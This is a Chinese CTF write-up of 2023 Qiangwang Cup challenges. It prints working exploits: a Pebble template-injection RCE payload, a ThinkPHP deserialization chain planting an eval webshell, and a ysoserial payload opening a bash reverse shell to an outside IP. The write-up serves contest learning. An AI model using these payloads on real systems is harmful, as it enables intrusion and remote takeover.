首页 > 其他分享 >2023第七届强网杯 个人题解

2023第七届强网杯 个人题解

时间:2023-12-21 20:23:17浏览次数:43  
标签:3A0% 2A% 3Bs% 题解 22% 3A% 强网杯 flag 2023

27 htppy Spring

评价: 相对简单,放出来的晚,做的出来的人相对比较少

大致流程是可以上传.pebble模板文件,然后通过访问上传的恶意模板文件进行rce。

首先上传恶意模板文件,经过几次尝试,黑名单过滤了,org.springframework.context.support.ClassPathXmlApplicationContext{{

最终.pebble文件内容为

content=666{%25+set+clazz%3dbeans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").getResourceLoader().getClassLoader().loadClass("org.springframework.expression.spel.standard.SpelExpressionParser")+%25}{%25+set+instance+%3d++beans.get("jacksonObjectMapper").readValue("{}",+clazz)+%25}{%25+set+a+%3d+instance.parseExpression("new+java.lang.ProcessBuilder(\"bash\",+\"-c\",+\"cat+/flag>/tmp/777.pebble\").start()").getValue()%25}888

参考https://www.cnblogs.com/kingbridge/articles/16592408.html

image-20231217223733025

注意返回的时间,下一步访问模板文件时会用到

image-20231217223857539

返回666888说明中间的模板成功执行了,然后访问777即可得到flag

image-20231217223947131

flag值

flag{862ce055-ec20-4907-b7d0-7fa24197ded1}

29 thinkshop

评价:大部分都还好,就是附件不想给就别给算了。

大致流程是: 后台登录,sql注入造成反序列化(thinkphp5.0.23存在反序列化漏洞,本题5.0.23rce的洞已经修复了)

从附件中得到几个有用是shop.sqlsql.sqlgoods.sql、以及项目源码。

从源码中可以看到有后台,登录后台时,username会强转为int型,而执行的sql操作是

image-20231217230758299

而数据库中的信息是

image-20231217230127365

故,可以用 username=1&password=123456来登录后台.

对商品进行编辑的逻辑中,传入的是整个post数组

image-20231217231328564

最终会传递给updaedata方法,由于data可控,key是可控的,sql语句拼接时,也没有进行处理,故此处可进行sql注入。

image-20231217231617708

goods.html这里给了反序列化的口子

image-20231217232024066

正常来说只需要将序列化值base64之后,通过sql插入即可。但有两个限制条件

  • 第一个是base64后数据是YTo,也就是a:

image-20231217232247946

  • 第二个反序列化触发的时机是都程序都执行完后,但这里反序列化后的对象传入了arrayTohtml,由于后面操作类型不符合导致直接报错,无法触发反序列化。

综上,可利用php的垃圾回收机制 将要序列化的对象放入数组的第一个值的位置(key为0),然后再随便填一个值(key为1),序列化后,将将第二个key从1改为0,即可直接触发反序列化。

exp如下

<?php

namespace think\cache\driver {

    class File
    {
        protected $options = [
            'expire'        => 0,
            'cache_subdir'  => false,
            'prefix'        => '',
            'path'          => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD89ZXZhbCgkX1BPU1RbJzEnXSk7cGhwaW5mbygpPz4=',
            'data_compress' => false,
        ];
        protected $tag = "flag";
        public function __construct()
        {
            echo  "后门文件名称为" . "aaaPD89ZXZhbCgkX1BPU1RbJzEnXSk7cGhwaW5mbygpPz4=" . md5("tag_" . md5($this->tag)) . ".php" . "\n\n\n";
        }
    }
}


namespace think\session\driver {

    use SessionHandler;
    use think\cache\driver\File;

    class Memcache extends SessionHandler
    {
        protected $handler = null;
        public function __construct()
        {
            $this->handler = new  File();
        }
    }
}

namespace think\console {


    use think\session\driver\Memcache;

    class Output
    {
        private $verbosity = 1;
        private $handle;
        const OUTPUT_NORMAL = 1;
        protected $styles = [
            'getAttr'
        ];
        public function __construct()
        {
            $this->verbosity = 1;
            $this->handle = new Memcache();
        }
    }
}

namespace think\db {

    use think\console\Output;

    class Query
    {
        protected $model;
        public function __construct()
        {
            $this->model = new output();
        }
    }
}

namespace think\model\relation {

    use think\db\Query;

    class HasOne
    {
        protected $selfRelation;
        protected $query;
        protected $bindAttr = [];
        public function __construct()
        {
            $this->selfRelation = 0;
            $this->query = new Query();
            $attr = 'flag';
            $this->bindAttr['flag'] = $attr;
        }
    }
}

namespace think {
    abstract class Model
    {
    }
}

namespace think\model {


    use think\model\relation\HasOne;
    use think\console\Output;
    use think\Model;

    class Pivot extends Model
    {

        protected $data = [];
        protected $append = [];
        protected $error;
        public $parent;
        public function __construct()
        {
            $this->error =  new HasOne();
            $this->parent = new output();
            $name = 'getError';

            $this->append[] = $name;
        }
    }
}

namespace think\process\pipes {

    use think\model\Pivot;

    class  Windows
    {
        private $files = [];
        public function __construct()
        {
            $this->files[0] =  new Pivot();
        }
        // var_dump

    }
    $a = array(0 => new  Windows(), 1 => "6");

    $c = urldecode("a%3A2%3A%7Bi%3A0%3BO%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A4%3A%7Bs%3A7%3A%22%00%2A%00data%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22getError%22%3B%7Ds%3A8%3A%22%00%2A%00error%22%3BO%3A27%3A%22think%5Cmodel%5Crelation%5CHasOne%22%3A3%3A%7Bs%3A15%3A%22%00%2A%00selfRelation%22%3Bi%3A0%3Bs%3A8%3A%22%00%2A%00query%22%3BO%3A14%3A%22think%5Cdb%5CQuery%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00model%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A3%3A%7Bs%3A31%3A%22%00think%5Cconsole%5COutput%00verbosity%22%3Bi%3A1%3Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A29%3A%22think%5Csession%5Cdriver%5CMemcache%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A0%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A117%3A%22php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%7Cconvert.base64-decode%2Fresource%3DaaaPD89ZXZhbCgkX1BPU1RbJzEnXSk7cGhwaW5mbygpPz4%3D%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bs%3A4%3A%22flag%22%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7D%7Ds%3A11%3A%22%00%2A%00bindAttr%22%3Ba%3A1%3A%7Bs%3A4%3A%22flag%22%3Bs%3A4%3A%22flag%22%3B%7D%7Ds%3A6%3A%22parent%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A3%3A%7Bs%3A31%3A%22%00think%5Cconsole%5COutput%00verbosity%22%3Bi%3A1%3Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A29%3A%22think%5Csession%5Cdriver%5CMemcache%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A0%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A117%3A%22php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%7Cconvert.base64-decode%2Fresource%3DaaaPD89ZXZhbCgkX1BPU1RbJzEnXSk7cGhwaW5mbygpPz4%3D%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bs%3A4%3A%22flag%22%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7D%7D%7D%7Di%3A1%3Bs%3A0%3A%226%22%3B%7D");
    echo bin2hex(base64_encode($c));
}

最终构造的数据包如下

POST /public/index.php/index/admin/do_edit.html HTTP/1.1
Host: eci-2zef9lbnpjl0n8we7yhu.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 426
Origin: http://eci-2zef9lbnpjl0n8we7yhu.cloudeci1.ichunqiu.com
Connection: close
Referer: http://eci-2zef9lbnpjl0n8we7yhu.cloudeci1.ichunqiu.com/public/index.php/index/admin/goods_edit/id/1.html
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1701612145,1701926910,1702102270,1702619199; PHPSESSID=qq8ks874l951ucqk29tnrj14h5
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

id=1&name=aaaa&price=111111.00&on_sale_time=2023-01-01T15%3A16&image`%3dunhex('61'),`data`%3dunhex('59546f794f6e74704f6a4137547a6f794e7a6f6964476870626d746363484a765932567a633178776158426c633178586157356b6233647a496a6f784f6e747a4f6a4d304f69494164476870626d746363484a765932567a633178776158426c633178586157356b6233647a41475a706247567a496a74684f6a453665326b364d4474504f6a45334f694a3061476c75613178746232526c6246785161585a76644349364e447037637a6f334f6949414b67426b59585268496a74684f6a41366533317a4f6a6b364967417141474677634756755a43493759546f784f6e74704f6a4137637a6f344f694a6e5a585246636e4a766369493766584d364f446f6941436f415a584a79623349694f3038364d6a6336496e526f61573572584731765a47567358484a6c624746306157397558456868633039755a5349364d7a7037637a6f784e546f6941436f41633256735a6c4a6c6247463061573975496a74704f6a4137637a6f344f6949414b6742786457567965534937547a6f784e446f6964476870626d74635a474a635558566c636e6b694f6a453665334d364f446f6941436f416257396b5a5777694f3038364d6a4136496e526f6157357258474e76626e4e76624756635433563063485630496a6f7a4f6e747a4f6a4d784f69494164476870626d746359323975633239735a5678506458527764585141646d5679596d397a61585235496a74704f6a4537637a6f794f446f694148526f6157357258474e76626e4e7662475663543356306348563041476868626d52735a534937547a6f794f546f6964476870626d74636332567a63326c76626c786b636d6c325a584a63545756745932466a614755694f6a453665334d364d5441364967417141476868626d52735a5849694f3038364d6a4d36496e526f6157357258474e685932686c5847527961585a6c636c78476157786c496a6f794f6e747a4f6a45774f6949414b674276634852706232357a496a74684f6a553665334d364e6a6f695a58687761584a6c496a74704f6a4137637a6f784d6a6f695932466a61475666633356695a476c79496a74694f6a4137637a6f324f694a77636d566d615867694f334d364d446f69496a747a4f6a5136496e4268644767694f334d364d5445334f694a77614841364c79396d615778305a58497659323975646d5679644335705932397564693531644759744f433531644759744e33786a623235325a584a304c6d4a68633255324e43316b5a574e765a475576636d567a623356795932553959574668554551344f567059576d6869513264725744464355465578556d4a4b656b567557464e724e324e4861486468567a5674596e6c6e634642364e4430694f334d364d544d36496d5268644746665932397463484a6c63334d694f3249364d447439637a6f324f6949414b674230595763694f334d364e446f695a6d78685a7949376658317a4f6a6b364967417141484e306557786c6379493759546f784f6e74704f6a4137637a6f334f694a6e5a58524264485279496a74396658317a4f6a45784f6949414b6742696157356b515852306369493759546f784f6e747a4f6a5136496d5a73595763694f334d364e446f695a6d78685a7949376658317a4f6a5936496e4268636d567564434937547a6f794d446f6964476870626d746359323975633239735a56785064585277645851694f6a4d3665334d364d7a45364967423061476c756131786a6232357a6232786c5845393164484231644142325a584a6962334e7064486b694f326b364d54747a4f6a49344f69494164476870626d746359323975633239735a5678506458527764585141614746755a47786c496a74504f6a49354f694a3061476c756131787a5a584e7a615739755847527961585a6c636c784e5a57316a59574e6f5a5349364d547037637a6f784d446f6941436f41614746755a47786c63694937547a6f794d7a6f6964476870626d74635932466a614756635a484a70646d567958455a70624755694f6a493665334d364d544136496741714147397764476c76626e4d694f3245364e547037637a6f324f694a6c65484270636d55694f326b364d44747a4f6a45794f694a6a59574e6f5a56397a64574a6b615849694f3249364d44747a4f6a5936496e42795a575a7065434937637a6f774f6949694f334d364e446f696347463061434937637a6f784d546336496e426f63446f764c325a706248526c6369396a623235325a584a304c6d6c6a623235324c6e56305a6930344c6e56305a69303366474e76626e5a6c636e5175596d467a5a5459304c57526c5932396b5a5339795a584e7664584a6a5a5431685957465152446735576c686161474a445a3274594d554a5156544653596b703652573559553273335930646f643246584e5731696557647755486f3050534937637a6f784d7a6f695a4746305956396a62323177636d567a63794937596a6f774f33317a4f6a593649674171414852685a794937637a6f304f694a6d6247466e496a743966584d364f546f6941436f41633352356247567a496a74684f6a453665326b364d44747a4f6a6336496d646c64454630644849694f3331396658313961546f784f334d364d446f694e69493766513d3d')/**/WHERE/**/`id`%3d1#=&data=

image-20231217233137115

更新后,去前台访问一下,然后

访问/public/aaaPD89ZXZhbCgkX1BPU1RbJzEnXSk7cGhwaW5mbygpPz4=09621a5f4361062ae732f5ed9c5764c0.php即可

image-20231217233407349

flag值

flag{c7262541-e441-43a4-a35a-8d21966039ac}

36 happygame

web题怎么还要nc呢?

image-20231217233803521

根据报错信息百度一下,可以发现是grpc

image-20231217233919904

题目给的是个grpc的服务端,我们需要使用客户端通过特定的协议来连接才行。

使用grpcui连接

image-20231217234338898

给了serializeData,那说明是让打反序列化的。经过尝试,使用java的cc6打通了。

image-20231217235501332

java -jar ysoserial.jar CommonsCollections6 "bash -c {echo,L2Jpbi9iYXNoIC1pID4mL2Rldi90Y3AvNDMuMTQyLjE1LjEwLzU1NTUgMD4mMQ==}|{base64,-d}|{bash,-i}" > 1.class

image-20231217235558143

最终payload

rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0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eA==

image-20231217235937208

flag值

flag{088ca719-e003-441b-9a0e-c916134c4add}

38 谍影重重2.0

监听飞机的飞行状态,其实监听的是ADS-B消息,具体可参考 https://zhuanlan.zhihu.com/p/646365846?utm_id=0

首先使用wireshark导出为json格式.然后用python进行处理。

在用pyModes求速度时,会报错,不知如何解决,但发现可以直接用pyModes.decoder.adsb.icao来获得icao码,发现只有7个,索性直接一个一个尝试,最后得到正确的flag

from pyModeS import decoder
import json,hashlib

print(["flag{"+hashlib.md5(icao.encode()).hexdigest()+"}" for icao in set([decoder.adsb.icao(p) for p in list(filter(lambda x :x is not None,[t['_source']['layers']['tcp']['tcp.payload'].replace(":","")[18:] if "tcp.payload" in t['_source']['layers']['tcp'] else None  for t in json.load(open('adsb.json',encoding="utf-8")) ]))])])

脚本主要就是提取了tcp.payload字段的值,获取有用消息,然后交给decoder.adsb.icao得到icao码,并计算flag的值

flag值

flag{4cf6729b9bc05686a79c1620b0b1967b}

41 Pyjail ! It's myFILTER !!!

这题非预期,直接 open读环境变量就行

{print(open("/proc/self/environ").read())}

image-20231218000732198

flag值

flag{c64da498-7a39-49cb-b8ed-fd840134f78d}

标签:3A0%,2A%,3Bs%,题解,22%,3A%,强网杯,flag,2023
From: https://www.cnblogs.com/cyyyyi/p/17920036.html

相关文章

  • [CSP-J 2023] 旅游巴士
    题目描述小Z打算在国庆假期期间搭乘旅游巴士去一处他向往已久的景点旅游。旅游景点的地图共有\(n\)处地点,在这些地点之间连有\(m\)条道路。其中\(1\)号地点为景区入口,\(n\)号地点为景区出口。我们把一天当中景区开门营业的时间记为\(0\)时刻,则从\(0\)时刻起,每间隔......
  • 【2023CANN训练营第二季】——Ascend C代码实操分享
    1.实操题目:使用AscendC实现Addcdiv算子参考pytorch的Addcdiv算子,实现AscendC算子Addcdiv,算子命名为AddcdivCustom相关算法:out=x+y/z*value要求:1、完成Kernel侧实现代码和host侧调用算子代码,支持fp16类型输入2、完成AcInn方式调用编写好的算子3、根据提供的测试用例,使用......
  • 2023.12.21——每日总结
    学习所花时间(包括上课):9h代码量(行):0行博客量(篇):1篇今天,上午学习,下午学习;我了解到的知识点:1.设计模式明日计划:学习......
  • 360沃通亮相2023年深圳市卫生健康信息学术会议,展示医疗行业商密应用方案
    2023年12月15日-16日,深圳市卫生健康信息协会举办主题为“智慧健康引领网络安全护航”的2023年深圳市卫生健康信息学术会议暨“京沪宁深连线”深圳专场,360沃通作为深圳密码领域代表性企业受邀参会,与现场知名专家学者、卫生健康信息化业内同仁、卫生健康信息产品厂商展开深入交流,并......
  • 2023最新高级难度C语言面试题,包含答案。刷题必备!记录一下。
    好记性不如烂笔头内容来自面试宝典-高级难度C语言面试题合集问:在C语言中,如何使用结构体进行面向对象编程?在C语言中,虽然没有像C++或Java那样的类和对象概念,但可以通过结构体、函数指针和其他技术来模拟面向对象编程的某些特性。以下是一些使用结构体进行面向对象编程的关......
  • 2023最新中级难度C语言面试题,包含答案。刷题必备!记录一下。
    好记性不如烂笔头内容来自面试宝典-中级难度C语言面试题合集问:在C语言中,如何使用指针访问数组的各个元素?在C语言中,数组名实际上是一个指向数组第一个元素的指针。因此,我们可以使用指针算术来访问数组的各个元素。下面是一个示例代码,演示如何使用指针访问数组的各个元素:......
  • Databend 开源社区上榜 2023 年度 OSCHINA 优秀开源技术团队
    2023年12月8日,OSCHINA对其平台上众多认证的官方技术团队和开源社区进行了全面评估,并颁发了“2023年度优秀开源技术团队”奖项,以表彰各团队在推动中国开源生态系统发展方面所展现的创新能力和显著贡献。在这一评选中,Databend开源社区有幸获得了2023年度优秀开源技术团......
  • 百度网盘(百度云)SVIP超级会员共享账号每日更新(2023.12.21)
    一、百度网盘SVIP超级会员共享账号可能很多人不懂这个共享账号是什么意思,小编在这里给大家做一下解答。我们多知道百度网盘很大的用处就是类似U盘,不同的人把文件上传到百度网盘,别人可以直接下载,避免了U盘的物理载体,直接在网上就实现文件传输。百度网盘SVIP会员可以让自己百度账......
  • TDengine 创始人陶建辉亮相 EDT2023 峰会,分享工业数据处理平台的创新实践
    随着大数据、物联网、人工智能、5G等数字技术的蓬勃发展,能源化工行业与新兴技术也在加速融合,推动着智能化、网格化和信息化进程的加速演进。在不稳定的外部环境下,数字化转型成为能源化工企业实现可持续发展的关键。12月14日,勤哲文化主办的“EDT2023中国能源化工数字科技峰会......
  • 实验七 周天意 202383290417
    实验七1.实验任务1:文本文件格式化读/写验证性实验。task1_1.c把程序中的图书信息数据,写入文本文件data1.txt中task1_2.c从文件data1.txt读入数据,并在屏幕上打印输出在C编程环境下,依次输入task1_1.c和task1_2.c,结合程序运行结果,理解代码,掌握文件打开/关闭、格式化读写操作......